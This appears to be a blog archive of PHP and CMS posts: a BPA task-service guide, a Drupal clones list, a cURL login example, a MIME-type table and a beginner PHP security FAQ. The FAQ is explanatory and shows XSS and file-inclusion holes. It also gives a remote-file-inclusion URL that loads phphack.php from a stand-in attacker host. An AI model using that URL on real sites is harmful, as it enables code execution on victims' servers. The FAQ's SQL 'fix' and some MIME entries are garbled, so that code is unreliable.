Archive for the ‘java & php’ Category

Free BPA Service 简单说明

Sunday, April 11th, 2010

http://conby.com/page/create-c3-task-business-process-automation 简单说明

Task name: 必填,任务的名称,可用中文

Description: 描述任务,可用中文

Maillog:  如果填入为电子邮件,当task条件满足时,将会发送task的日志报告到填入的电子邮件

Conditions Type: 规定task的conditions(条件)之间的关系,OR为任意一个condition条件满足时触发action(动作). AND为所有condition条件同时满足时触发action(动作)

Condition Name: 必填,condition(条件)的名称,如果希望把本condition(条件)的结果作为变量在action(动作)中使用,请使用规范的变量字符(常规字符和数字,可含空格,空格在变量名中将自动转换为下划线)

Condition Type:

  • crontab 为标准的Linux/Unix的crontab格式,条件满足时触发action(动作)
  • post 为一个用户自定义的网址,系统将自动将payload使用HTTP协议的POST方法将数据发送过去,此时可以在eval中验证post回来的结果
  • api 为C3系统的API调用,可接受payload
  • due 为简单的时间到期检查,格式如 2010-01-01 10:30, 时间到达后,将自动触发 action(动作)
  • hook 为系统钩或回调, 可以直接获取到 其他task某个action(动作)的运行结果,并在eval中验证post回来的结果

Spec 为根据不同的condition(条件) Type,填入相应的格式或者名称

Payload 为不同的condition(条件) Type下的参数,只对 api, post, hook有效.  due和 crontab不需要填payload。 payload的格式为name=value&name2=value2, 其中value要求已经被urlencode, 系统的[result]将自动进行urlencode

eval 为Python规范的eval表达式,例如:

  • ‘aa’==’aa’
  • ‘[result]==’aa’, 其中[result]为系统token,表示前面的post,api或者hook的运行结果
  • 1, 如果想不验证运行结果,直接让条件满足触发后面的动作,可以简单填入1

Action Name: 动作的名称, 如果需要在其他任务的hook中被使用,请使用规范的规范的变量字符(常规字符和数字,可含空格)

Action Type:

  • api 为C3系统的API调用,可接受payload
  • post 为一个用户自定义的网址,系统将自动将payload使用HTTP协议的POST方法将数据发送过去
  • queue,基本与api相同,但此动作将会列入云计算平台的队列中异步执行,不会马上返回执行结果,如果希望获得此action的结果,请使用hook condition 方法
  • map-reduce, 基本与queue相同,此action动作专门为map-reduce类型的大规模云计算设计,action(动作)将会列入云计算平台的队列中异步执行,不会马上返回执行结果,如果希望获得此action的结果,请使用hook condition 方法。如queue不同的是:
  1. Spec中需要填入完整的map-reduce api对。例如  c3_demo_mapper-c3_demo_reducer,用”-”分割,前面的代表map-reduce计算模型中的map方法,后面的代表map-reduce计算模型中的reduce方法
  2. Payload中需要指定map数据集,例如 map=1%2C2%2C3,%2C为“,”的urlencode后的表达方式。此例子表示map数据集有3项,分别为1,2,3。 常用的使用方式应该为map=[conditionname],直接使用condition(条件)的返回结果。系统将自动对[conditionname]进行urlencode。
  3. map-redude计算模式一般在2~3分钟内启动计算,经过多轮的map,recuce运算后,计算结果可以使用hook condition 方法获取(需另外创建一个task来hook这个action的运算结果). maillog只会发送同步action(动作)的结果,不会发送异步和任何queue类型的action(动作)的结果

如果需要终止task,或者修改task,请使用 C3 SDK开发包,或者直接登录 BPA系统进行修改.  C3 SDK开发包下载地址:

http://conby.com/products_ch.html

all news and information will be posted on twitter

Thursday, February 25th, 2010

all news and information will be posted on twitter, this blog has been moved to twitter.

16 Different Clones You Can Build with Drupal

Sunday, January 10th, 2010

Drupal is an excellent choice for a content management system (CMS). However, many people only see it as a simple CMS, a site to build a landing page or two. But Drupal is much more than that. Not only is Drupal easy to theme, it’s got a wide range of built in functionality and a large community powering the popular CMS.

One of the great things about Drupal is that you can build almost any sort of site that you can imagine, with the help of a couple modules. Want to go beyond the basics of a simple CMS? Drupal has an excellent API that allows you to extent nearly any aspect of the software. In fact, many people have started to talk about using Drupal as a framework, as it’s robust, well written, handles lots of traffic, and has a large and helpful community.

So, if you’re thinking about building your next big site, here are a few ways that you can take existing modules and turn a project quickly, without needing to make any custom modules.

A quick note: I don’t think it’s a great idea to make exact clones of existing sites and slap a new name on them. Clones hardly become as popular as the original site. This article is merely to show the power of Drupal and what can be done with limited time and no development budget.

1. Digg Clone

There’s plenty of Digg clone software out there, but it’s pretty simple to make a site that allows users to submit links to content, vote, comment and moderate the submitted links. It’s even easier when that functionality is all wrapped up into a single module. Drigg creates an identical voting site that allows users to add web links, vote on them, share stories, and many more features.

digg

2. Blog

This is one of the most obvious and common uses for Drupal, but that doesn’t mean it’s not important. Drupal comes primed for blogging straight out of the box, and there are many modules available that can enhance the commenting and overall blogging functionality.

3. News Portal

For those of you wanting a site that can showcase lots of information like Yahoo! or some of the other news portals, Drupal has you covered. Thanks to an excellent module called Views and some custom categories, you can quickly create many different types of content and display them in different ways on the homepage. Views is an indispensable module for a Drupal site. It’s a rare occasion that I’m not using the module on a site that I’m developing.

4. Robust user site

Here is where I think Drupal shines brighter than most (if not all) content management systems. Drupal has an excellent user management system, user profiles and even OpenID right out of the box. It also has modules that can connect to Twitter, Facebook, and it’s easy to connect to other authentication gateways with the use of custom modules.

Drupal also has a stellar module called Organic Groups that allows users to “organize” themselves into groups. Each group can have it’s own homepage, blocks, themes, taxonomy and more.

5. Awareness site

If you’re wanting to build a site specifically for a cause or organization, Drupal makes that easy as well. Aside from the Organic Groups plugin and other community-friendly features, there’s a donation module that accepts payments from Paypal, and shows the donating users on a donation page.

CiviCRM (demo) is a constituent relationship management solution module that was specifically created for advocacy and non-profit groups. Over 5,000 organizations use CiviCRM, and it’s well-supported and has many sub-modules for more specific advocacy needs.

Another great Drupal module for developing an awareness site is the Connect module. Connect allows you to easily create petitions, emails or fax campaigns.

6. Twitter Clone

Yeah, yeah… the world doesn’t need another Twitter clone, right? Well, I tend to disagree. The concept of sites and communities built around short, cross-platform messaging systems are a phenomena that just aren’t going away any time soon. With Drupal, it could be just as easy. Drupal’s Microblog module copies most of the features of Twitter. Micro-messaging, following users and public timelines.

7. File Storage Site

File storage sites like Drop.io or Box.net could be created with Drupal and the help of a module like Media Mover. Media Mover allows you to take uploaded files and copy them over to Amazon S3, the highly-scalable data storage system.

8. Flickr Clone

Photo sites like Flickr and Photobucket could also be created with the Image module and Views. The Image module gives users the ability to upload images, and then creates thumbnails and galleries from the uploads. Users could also comment on the photos using the built-in commenting functionality.

9. Delicious Clone

It turns out that making a bookmarking site like Delicious is fairly trivial in Drupal. There are several options for modules that give users the ability to post bookmarks to their Drupal account.

10. YouTube Clone

If you’re wanting to build a video sharing site like YouTube, Drupal has some modules that can greatly help with that. FlashVideo adds functionality to convert uploaded files to flash, and then moves them over to Amazon S3 if desired. FlashVideo also provides the ability to embed the videos, just like the big boys.

11. Amazon Clone

Trying to recreate the powerhouse’s ecommerce dominance is a tall order, but if any CMS is capable of it, Drupal is. Drupal has a few stellar ecommerce modules like Ecommerce and Ubercart. Both of these modules have an extensive feature list that make it easier to create an ecommerce powerhouse.

12. Tumblr Clone

Creating a social aggregation site with Drupal is easy enough with the excellent Activity Stream module. Activity Steam allows you to pull in user’s activity on social sites like Facebook, Twitter, YouTube, Qik, StumbleUpon and many others.

13. Blogger Clone

If you’re wanting to start a blog host like Blogger or Wordpress.com, Drupal is easily equipped to do that. Drupal has a blog module that comes shipped with the package, and it allows every site member the ability to have a blog.

14. Blog network

Blog networks like Performancing and WiseBread rely on Drupal to power their networks. This requires the use of the built-in blog module. Member’s blog posts all end up on the homepage of the site by default, and you could modify how the member’s blogs looked with the help of the Views module.

15. News Aggregator

I built the LifeRemix network site with Drupal and a single module to aggregate all of our blogger’s posts. The site updates itself without any monitoring from me.

16. Friendfeed

By utilizing the excellent Activity Stream module, it would be quite easy to build a FriendFeed clone. As Drupal already comes shipped with an awesome set of user and profile modules, a quick Friendfeed clone could be made in a matter of hours, depending on your design skills.

Use your imagination! These are by no means the only uses for the popular CMS. I’d love to hear more examples of sites built with Drupal, or possible sites that I’ve left off the list.

Fwd from: http://webjackalope.com/16-different-clones-you-can-build-with-drupal/

PHP HTTP post example

Tuesday, January 5th, 2010
$cookie_jar = tempnam('./tmp','cookie');
$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,'http://127.0.0.1/test2/rep.php');
curl_setopt($ch, CURLOPT_POST, 1);
$request = 'uid=aaa&pwd=bbb&action=';
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);

curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_HEADER, false);

curl_setopt($ch, CURLOPT_NOBODY, false);
curl_exec($ch);
curl_close($ch); //get data after login

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'http://127.0.0.1/test2/emails.php');
curl_setopt($ch2, CURLOPT_HEADER, false);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch2, CURLOPT_COOKIEFILE, $cookie_jar);
$orders = curl_exec($ch2);
echo '';
echo strip_tags($orders);
echo '';
curl_close($ch2);
session_start();  

if($_POST["uid"] == "aaa" && $_POST["pwd"] == "bbb")
{
   $_SESSION["uid"] = $_POST["uid"];
   echo "OK".$_SESSION["uid"];
}
session_start();  

if( isset($_SESSION["uid"]) )
{
echo "aaa@bbb.com, bbb@www.com";
}
else
echo "==".$_SESSION["uid"]."--";

PHP general mistakes FAQ for beginners

Thursday, November 26th, 2009

PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种
1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/ </script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将” < “,”>”,”and” 等转换成正确的HTML表示( < , >’, and “),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法。有人对我说,他们已经在php.ini 中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = “UPDATE users SET
name=’.mysql_real_escape_string($name).’
WHERE id=’.mysql_real_escape_string ($id).’”;
mysql_query($sql);
?>
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?”warning: Cannot add header information – headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部 署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设 置……..。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:

http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array(‘file1.txt’,'file2.txt’,'file3.txt’);
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit(‘not allowed’);
}
?>
5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!
6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。
7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?
8. 不知道PHP中已经有的功能
PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()
9.使用旧版本的PHP
很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程 序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查只有12%的PHP服务器使用 PHP5,所以有88%的PHP开发者还在使用PHP4.
10.对引号做两次转意
见过网页中出现\’或\’”吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It’s a string

magic quotes on :
It\’s a string
又运行一次
addslashes():
It\\’s a string

HTML输出:
It\’s a string

还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!

php download and Content-Type

Thursday, October 1st, 2009
header('Content-type: image/pjpeg');
header('Content-Disposition: attachment; filename="downloaded.jpg"');
readfile('my.jpg');

‘chm’=>’application/octet-stream’,
‘ppt’=>’application/vnd.ms-powerpoint’,
‘xls’=>’application/vnd.ms-excel’,
‘doc’=>’application/msword’,
‘exe’=>’application/octet-stream’,
‘rar’=>’application/octet-stream’,
‘js’=>”javascrīpt/js”,
‘css’=>”text/css”,
‘hqx’=>”application/mac-binhex40″,
‘bin’=>”application/octet-stream”,
‘oda’=>”application/oda”,
‘pdf’=>”application/pdf”,
‘ai’=>”application/postsrcipt”,
‘eps’=>”application/postsrcipt”,
‘es’=>”application/postsrcipt”,
‘rtf’=>”application/rtf”,
‘mif’=>”application/x-mif”,
‘csh’=>”application/x-csh”,
‘dvi’=>”application/x-dvi”,
‘hdf’=>”application/x-hdf”,
‘nc’=>”application/x-netcdf”,
‘cdf’=>”application/x-netcdf”,
‘latex’=>”application/x-latex”,
‘ts’=>”application/x-troll-ts”,
’src’=>”application/x-wais-source”,
‘zip’=>”application/zip”,
‘bcpio’=>”application/x-bcpio”,
‘cpio’=>”application/x-cpio”,
‘gtar’=>”application/x-gtar”,
’shar’=>”application/x-shar”,
’sv4cpio’=>”application/x-sv4cpio”,
’sv4crc’=>”application/x-sv4crc”,
‘tar’=>”application/x-tar”,
‘ustar’=>”application/x-ustar”,
‘man’=>”application/x-troff-man”,
’sh’=>”application/x-sh”,
‘tcl’=>”application/x-tcl”,
‘tex’=>”application/x-tex”,
‘texi’=>”application/x-texinfo”,
‘texinfo’=>”application/x-texinfo”,
‘t’=>”application/x-troff”,
‘tr’=>”application/x-troff”,
‘roff’=>”application/x-troff”,
’shar’=>”application/x-shar”,
‘me’=>”application/x-troll-me”,
‘ts’=>”application/x-troll-ts”,
‘gif’=>”image/gif”,
‘jpeg’=>”image/pjpeg”,
‘jpg’=>”image/pjpeg”,
‘jpe’=>”image/pjpeg”,
‘ras’=>”image/x-cmu-raster”,
‘pbm’=>”image/x-portable-bitmap”,
‘ppm’=>”image/x-portable-pixmap”,
‘xbm’=>”image/x-xbitmap”,
‘xwd’=>”image/x-xwindowdump”,
‘ief’=>”image/ief”,
‘tif’=>”image/tiff”,
‘tiff’=>”image/tiff”,
‘pnm’=>”image/x-portable-anymap”,
‘pgm’=>”image/x-portable-graymap”,
‘rgb’=>”image/x-rgb”,
‘xpm’=>”image/x-xpixmap”,
‘txt’=>”text/plain”,
‘c’=>”text/plain”,
‘cc’=>”text/plain”,
‘h’=>”text/plain”,
‘html’=>”text/html”,
‘htm’=>”text/html”,
‘htl’=>”text/html”,
‘rtx’=>”text/richtext”,
‘etx’=>”text/x-setext”,
‘tsv’=>”text/tab-separated-values”,
‘mpeg’=>”video/mpeg”,
‘mpg’=>”video/mpeg”,
‘mpe’=>”video/mpeg”,
‘avi’=>”video/x-msvideo”,
‘qt’=>”video/quicktime”,
‘mov’=>”video/quicktime”,
‘moov’=>”video/quicktime”,
‘movie’=>”video/x-sgi-movie”,
‘au’=>”audio/basic”,
’snd’=>”audio/basic”,
‘wav’=>”audio/x-wav”,
‘aif’=>”audio/x-aiff”,
‘aiff’=>”audio/x-aiff”,
‘aifc’=>”audio/x-aiff”,
’swf’=>”application/x-shockwave-flash”
‘myz’=>”application/myz”

“.*”=”application/octet-stream”
“.001″=”application/x-001″
“.301″=”application/x-301″
“.323″=”text/h323″
“.906″=”application/x-906″
“.907″=”drawing/907″
“.a11″=”application/x-a11″
“.acp”=”audio/x-mei-aac”
“.ai”=”application/postscript”
“.aif”=”audio/aiff”
“.aifc”=”audio/aiff”
“.aiff”=”audio/aiff”
“.anv”=”application/x-anv”
“.asa”=”text/asa”
“.asf”=”video/x-ms-asf”
“.asp”=”text/asp”
“.asx”=”video/x-ms-asf”
“.au”=”audio/basic”
“.avi”=”video/avi”
“.awf”=”application/vnd.adobe.workflow”
“.biz”=”text/xml”
“.bmp”=”application/x-bmp”
“.bot”=”application/x-bot”
“.c4t”=”application/x-c4t”
“.c90″=”application/x-c90″
“.cal”=”application/x-cals”
“.cat”=”application/vnd.ms-pki.seccat”
“.cdf”=”application/x-netcdf”
“.cdr”=”application/x-cdr”
“.cel”=”application/x-cel”
“.cer”=”application/x-x509-ca-cert”
“.cg4″=”application/x-g4″
“.cgm”=”application/x-cgm”
“.cit”=”application/x-cit”
“.class”=”java/*”
“.cml”=”text/xml”
“.cmp”=”application/x-cmp”
“.cmx”=”application/x-cmx”
“.cot”=”application/x-cot”
“.crl”=”application/pkix-crl”
“.crt”=”application/x-x509-ca-cert”
“.csi”=”application/x-csi”
“.css”=”text/css”
“.cut”=”application/x-cut”
“.dbf”=”application/x-dbf”
“.dbm”=”application/x-dbm”
“.dbx”=”application/x-dbx”
“.dcd”=”text/xml”
“.dcx”=”application/x-dcx”
“.der”=”application/x-x509-ca-cert”
“.dgn”=”application/x-dgn”
“.dib”=”application/x-dib”
“.dll”=”application/x-msdownload”
“.doc”=”application/msword”
“.dot”=”application/msword”
“.drw”=”application/x-drw”
“.dtd”=”text/xml”
“.dwf”=”Model/vnd.dwf”
“.dwf”=”application/x-dwf”
“.dwg”=”application/x-dwg”
“.dxb”=”application/x-dxb”
“.dxf”=”application/x-dxf”
“.edn”=”application/vnd.adobe.edn”
“.emf”=”application/x-emf”
“.eml”=”message/rfc822″
“.ent”=”text/xml”
“.epi”=”application/x-epi”
“.eps”=”application/x-ps”
“.eps”=”application/postscript”
“.etd”=”application/x-ebx”
“.exe”=”application/x-msdownload”
“.fax”=”image/fax”
“.fdf”=”application/vnd.fdf”
“.fif”=”application/fractals”
“.fo”=”text/xml”
“.frm”=”application/x-frm”
“.g4″=”application/x-g4″
“.gbr”=”application/x-gbr”
“.gcd”=”application/x-gcd”
“.gif”=”image/gif”
“.gl2″=”application/x-gl2″
“.gp4″=”application/x-gp4″
“.hgl”=”application/x-hgl”
“.hmr”=”application/x-hmr”
“.hpg”=”application/x-hpgl”
“.hpl”=”application/x-hpl”
“.hqx”=”application/mac-binhex40″
“.hrf”=”application/x-hrf”
“.hta”=”application/hta”
“.htc”=”text/x-component”
“.htm”=”text/html”
“.html”=”text/html”
“.htt”=”text/webviewhtml”
“.htx”=”text/html”
“.icb”=”application/x-icb”
“.ico”=”image/x-icon”
“.ico”=”application/x-ico”
“.iff”=”application/x-iff”
“.ig4″=”application/x-g4″
“.igs”=”application/x-igs”
“.iii”=”application/x-iphone”
“.img”=”application/x-img”
“.ins”=”application/x-internet-signup”
“.isp”=”application/x-internet-signup”
“.IVF”=”video/x-ivf”
“.java”=”java/*”
“.jfif”=”image/jpeg”
“.jpe”=”image/jpeg”
“.jpe”=”application/x-jpe”
“.jpeg”=”image/jpeg”
“.jpg”=”image/jpeg”
“.jpg”=”application/x-jpg”
“.js”=”application/x-javascript”
“.jsp”=”text/html”
“.la1″=”audio/x-liquid-file”
“.lar”=”application/x-laplayer-reg”
“.latex”=”application/x-latex”
“.lavs”=”audio/x-liquid-secure”
“.lbm”=”application/x-lbm”
“.lmsff”=”audio/x-la-lms”
“.ls”=”application/x-javascript”
“.ltr”=”application/x-ltr”
“.m1v”=”video/x-mpeg”
“.m2v”=”video/x-mpeg”
“.m3u”=”audio/mpegurl”
“.m4e”=”video/mpeg4″
“.mac”=”application/x-mac”
“.man”=”application/x-troff-man”
“.math”=”text/xml”
“.mdb”=”application/msaccess”
“.mdb”=”application/x-mdb”
“.mfp”=”application/x-shockwave-flash”
“.mht”=”message/rfc822″
“.mhtml”=”message/rfc822″
“.mi”=”application/x-mi”
“.mid”=”audio/mid”
“.midi”=”audio/mid”
“.mil”=”application/x-mil”
“.mml”=”text/xml”
“.mnd”=”audio/x-musicnet-download”
“.mns”=”audio/x-musicnet-stream”
“.mocha”=”application/x-javascript”
“.movie”=”video/x-sgi-movie”
“.mp1″=”audio/mp1″
“.mp2″=”audio/mp2″
“.mp2v”=”video/mpeg”
“.mp3″=”audio/mp3″
“.mp4″=”video/mpeg4″
“.mpa”=”video/x-mpg”
“.mpd”=”application/vnd.ms-project”
“.mpe”=”video/x-mpeg”
“.mpeg”=”video/mpg”
“.mpg”=”video/mpg”
“.mpga”=”audio/rn-mpeg”
“.mpp”=”application/vnd.ms-project”
“.mps”=”video/x-mpeg”
“.mpt”=”application/vnd.ms-project”
“.mpv”=”video/mpg”
“.mpv2″=”video/mpeg”
“.mpw”=”application/vnd.ms-project”
“.mpx”=”application/vnd.ms-project”
“.mtx”=”text/xml”
“.mxp”=”application/x-mmxp”
“.net”=”image/pnetvue”
“.nrf”=”application/x-nrf”
“.nws”=”message/rfc822″
“.odc”=”text/x-ms-odc”
“.out”=”application/x-out”
“.p10″=”application/pkcs10″
“.p12″=”application/x-pkcs12″
“.p7b”=”application/x-pkcs7-certificates”
“.p7c”=”application/pkcs7-mime”
“.p7m”=”application/pkcs7-mime”
“.p7r”=”application/x-pkcs7-certreqresp”
“.p7s”=”application/pkcs7-signature”
“.pc5″=”application/x-pc5″
“.pci”=”application/x-pci”
“.pcl”=”application/x-pcl”
“.pcx”=”application/x-pcx”
“.pdf”=”application/pdf”
“.pdf”=”application/pdf”
“.pdx”=”application/vnd.adobe.pdx”
“.pfx”=”application/x-pkcs12″
“.pgl”=”application/x-pgl”
“.pic”=”application/x-pic”
“.pko”=”application/vnd.ms-pki.pko”
“.pl”=”application/x-perl”
“.plg”=”text/html”
“.pls”=”audio/scpls”
“.plt”=”application/x-plt”
“.png”=”image/png”
“.png”=”application/x-png”
“.pot”=”application/vnd.ms-powerpoint”
“.ppa”=”application/vnd.ms-powerpoint”
“.ppm”=”application/x-ppm”
“.pps”=”application/vnd.ms-powerpoint”
“.ppt”=”application/vnd.ms-powerpoint”
“.ppt”=”application/x-ppt”
“.pr”=”application/x-pr”
“.prf”=”application/pics-rules”
“.prn”=”application/x-prn”
“.prt”=”application/x-prt”
“.ps”=”application/x-ps”
“.ps”=”application/postscript”
“.ptn”=”application/x-ptn”
“.pwz”=”application/vnd.ms-powerpoint”
“.r3t”=”text/vnd.rn-realtext3d”
“.ra”=”audio/vnd.rn-realaudio”
“.ram”=”audio/x-pn-realaudio”
“.ras”=”application/x-ras”
“.rat”=”application/rat-file”
“.rdf”=”text/xml”
“.rec”=”application/vnd.rn-recording”
“.red”=”application/x-red”
“.rgb”=”application/x-rgb”
“.rjs”=”application/vnd.rn-realsystem-rjs”
“.rjt”=”application/vnd.rn-realsystem-rjt”
“.rlc”=”application/x-rlc”
“.rle”=”application/x-rle”
“.rm”=”application/vnd.rn-realmedia”
“.rmf”=”application/vnd.adobe.rmf”
“.rmi”=”audio/mid”
“.rmj”=”application/vnd.rn-realsystem-rmj”
“.rmm”=”audio/x-pn-realaudio”
“.rmp”=”application/vnd.rn-rn_music_package”
“.rms”=”application/vnd.rn-realmedia-secure”
“.rmvb”=”application/vnd.rn-realmedia-vbr”
“.rmx”=”application/vnd.rn-realsystem-rmx”
“.rnx”=”application/vnd.rn-realplayer”
“.rp”=”image/vnd.rn-realpix”
“.rpm”=”audio/x-pn-realaudio-plugin”
“.rsml”=”application/vnd.rn-rsml”
“.rt”=”text/vnd.rn-realtext”
“.rtf”=”application/msword”
“.rtf”=”application/x-rtf”
“.rv”=”video/vnd.rn-realvideo”
“.sam”=”application/x-sam”
“.sat”=”application/x-sat”
“.sdp”=”application/sdp”
“.sdw”=”application/x-sdw”
“.sit”=”application/x-stuffit”
“.slb”=”application/x-slb”
“.sld”=”application/x-sld”
“.slk”=”drawing/x-slk”
“.smi”=”application/smil”
“.smil”=”application/smil”
“.smk”=”application/x-smk”
“.snd”=”audio/basic”
“.sol”=”text/plain”
“.sor”=”text/plain”
“.spc”=”application/x-pkcs7-certificates”
“.spl”=”application/futuresplash”
“.spp”=”text/xml”
“.ssm”=”application/streamingmedia”
“.sst”=”application/vnd.ms-pki.certstore”
“.stl”=”application/vnd.ms-pki.stl”
“.stm”=”text/html”
“.sty”=”application/x-sty”
“.svg”=”text/xml”
“.swf”=”application/x-shockwave-flash”
“.tdf”=”application/x-tdf”
“.tg4″=”application/x-tg4″
“.tga”=”application/x-tga”
“.tif”=”image/tiff”
“.tif”=”application/x-tif”
“.tiff”=”image/tiff”
“.tld”=”text/xml”
“.top”=”drawing/x-top”
“.torrent”=”application/x-bittorrent”
“.tsd”=”text/xml”
“.txt”=”text/plain”
“.uin”=”application/x-icq”
“.uls”=”text/iuls”
“.vcf”=”text/x-vcard”
“.vda”=”application/x-vda”
“.vdx”=”application/vnd.visio”
“.vml”=”text/xml”
“.vpg”=”application/x-vpeg005″
“.vsd”=”application/vnd.visio”
“.vsd”=”application/x-vsd”
“.vss”=”application/vnd.visio”
“.vst”=”application/vnd.visio”
“.vst”=”application/x-vst”
“.vsw”=”application/vnd.visio”
“.vsx”=”application/vnd.visio”
“.vtx”=”application/vnd.visio”
“.vxml”=”text/xml”
“.wav”=”audio/wav”
“.wax”=”audio/x-ms-wax”
“.wb1″=”application/x-wb1″
“.wb2″=”application/x-wb2″
“.wb3″=”application/x-wb3″
“.wbmp”=”image/vnd.wap.wbmp”
“.wiz”=”application/msword”
“.wk3″=”application/x-wk3″
“.wk4″=”application/x-wk4″
“.wkq”=”application/x-wkq”
“.wks”=”application/x-wks”
“.wm”=”video/x-ms-wm”
“.wma”=”audio/x-ms-wma”
“.wmd”=”application/x-ms-wmd”
“.wmf”=”application/x-wmf”
“.wml”=”text/vnd.wap.wml”
“.wmv”=”video/x-ms-wmv”
“.wmx”=”video/x-ms-wmx”
“.wmz”=”application/x-ms-wmz”
“.wp6″=”application/x-wp6″
“.wpd”=”application/x-wpd”
“.wpg”=”application/x-wpg”
“.wpl”=”application/vnd.ms-wpl”
“.wq1″=”application/x-wq1″
“.wr1″=”application/x-wr1″
“.wri”=”application/x-wri”
“.wrk”=”application/x-wrk”
“.ws”=”application/x-ws”
“.ws2″=”application/x-ws”
“.wsc”=”text/scriptlet”
“.wsdl”=”text/xml”
“.wvx”=”video/x-ms-wvx”
“.xdp”=”application/vnd.adobe.xdp”
“.xdr”=”text/xml”
“.xfd”=”application/vnd.adobe.xfd”
“.xfdf”=”application/vnd.adobe.xfdf”
“.xhtml”=”text/html”
“.xls”=”application/vnd.ms-excel”
“.xls”=”application/x-xls”
“.xlw”=”application/x-xlw”
“.xml”=”text/xml”
“.xpl”=”audio/scpls”
“.xq”=”text/xml”
“.xql”=”text/xml”
“.xquery”=”text/xml”
“.xsd”=”text/xml”
“.xsl”=”text/xml”
“.xslt”=”text/xml”
“.xwd”=”application/x-xwd”
“.x_b”=”application/x-x_b”
“.x_t”=”application/x-x_t”
“.myz”=”application/myz”

Joomla vs Drupal

Thursday, October 1st, 2009

Joomla vs Drupal

Use Mambo(Joomla) when:
* you don’t know about the tech stuff at all
* you want easy install & setup with your mouse
* you don’t want to learn the tool you’re using
* you don’t need to integrate other scripts etc. to your site
* you want a candy site and don’t mind several other sites using the same template(s)
* you don’t need SEO out of the box
* you don’t care about server resources
* you’re running (or planning to to run) only one or max a couple of sites
* you don’t need one log-in to several sites
* you don’t need user groups & permissions
* you don’t run membership site(s)

Use Drupal when:
* you want a rock solid & high quality platform for your sites
* you want or need a real multi-site-feature (only one installation for several sites)
* you need any kind of user groups & user permissions
* you need to run also membership- and community sites, not only CMS etc
* you want a Powerful templating system
* you’re ready to invest a bit of your time in order to realize all the huge possibilities of Drupal
* you understand the meaning of clear, high quality code and API (easy to integrate with other solutions etc)
* you want flexibility and don’t like limitations